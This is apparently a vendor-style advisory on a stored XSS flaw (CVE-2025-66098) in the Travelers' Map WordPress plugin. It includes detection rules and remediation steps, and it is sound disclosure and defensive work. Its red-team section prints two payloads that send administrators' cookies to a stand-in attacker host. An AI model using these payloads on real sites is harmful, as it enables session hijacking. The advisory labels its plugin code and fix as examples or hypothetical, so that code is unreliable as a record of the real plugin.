CVE-2025-66098

Executive Summary

CVE-2025-66098 is a Stored Cross-Site Scripting (XSS) vulnerability in the Travelers' Map WordPress plugin by Camille V, affecting versions through 2.3.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject malicious scripts into the plugin's map data. When other users (including administrators) view the compromised map, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No known malicious packages have been identified in the supply chain, but the lack of a patch increases the risk of supply chain attacks if the plugin is used in a shared hosting environment or as part of a larger WordPress multisite deployment.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view the compromised map page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, in a WordPress environment with many contributors, the attack surface is significant.

Deep Dive & Mechanics

The Travelers' Map plugin allows users to create and display interactive maps with markers, descriptions, and custom data. The vulnerability lies in the way the plugin handles user-supplied input for map marker titles, descriptions, or other metadata fields. When a contributor or editor adds a new marker, the plugin does not properly sanitize or escape the input before storing it in the WordPress database. When the map is rendered on the front end, the stored input is output without proper encoding, allowing arbitrary HTML and JavaScript to execute.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin panel.
2. The attacker navigates to the Travelers' Map editor and creates a new marker.
3. In the marker title or description field, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
4. The plugin stores the payload in the database without sanitization.
5. When an administrator or other user views the map page, the payload executes in their browser.
6. The attacker can then steal session cookies, redirect users to phishing sites, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or the_content filter without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post() on user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (Example from Travelers' Map <= 2.3.2):

// In a template file or shortcode handler
echo '<div class="marker-title">' . $marker_title . '</div>';

Here, $marker_title is directly output without escaping.

Patched Code (Hypothetical fix):

echo '<div class="marker-title">' . esc_html( $marker_title ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Travelers' Map plugin version <= 2.3.2 installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in as a contributor.
2. Navigate to the Travelers' Map admin page (e.g., /wp-admin/admin.php?page=travelers-map).
3. Create a new marker and inject the following payload into the title field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the marker.
5. As an administrator, view the map page. The script executes, sending the admin's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defensive)

Detection:

• Monitor WordPress admin logs for unusual marker creation activity.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for suspicious entries in the wp_postmeta or plugin-specific tables:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror%';
  

• Review recent changes to plugin files for unauthorized modifications.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing document.cookie or similar parameters.
• Host: Presence of unexpected JavaScript in the WordPress database, specifically in tables related to Travelers' Map (e.g., wp_travelers_map_markers).
• File: Modified plugin files (e.g., travelers-map.php) containing obfuscated JavaScript or eval() calls.
• Log: WordPress debug log entries showing PHP warnings related to unserialize() or htmlspecialchars().

Detection Engineering

YARA Rule

rule CVE_2025_66098_Travelers_Map_XSS {
    meta:
        description = "Detects stored XSS payloads in Travelers' Map plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66098"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Travelers' Map Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in Travelers' Map plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'travelers-map'
            - 'admin-ajax.php'
        cs-body|contains:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in map descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66098 Travelers' Map Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"travelers-map"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available. Navigate to /wp-admin/plugins.php and deactivate Travelers' Map.
2. Remove malicious markers by querying the database for XSS patterns and deleting affected entries.
3. Change all WordPress admin passwords and invalidate existing sessions.

Long-term Fix:

• The vendor (Camille V) must release a patched version that properly escapes user input using esc_html(), esc_attr(), or wp_kses_post().
• Until then, consider using a security plugin like Wordfence to add a virtual patch.

Workaround:

• Add a custom function to your theme's functions.php to sanitize the plugin's output:

  add_filter( 'travelers_map_marker_title', 'esc_html' );
  add_filter( 'travelers_map_marker_description', 'wp_kses_post' );
  

Valters IT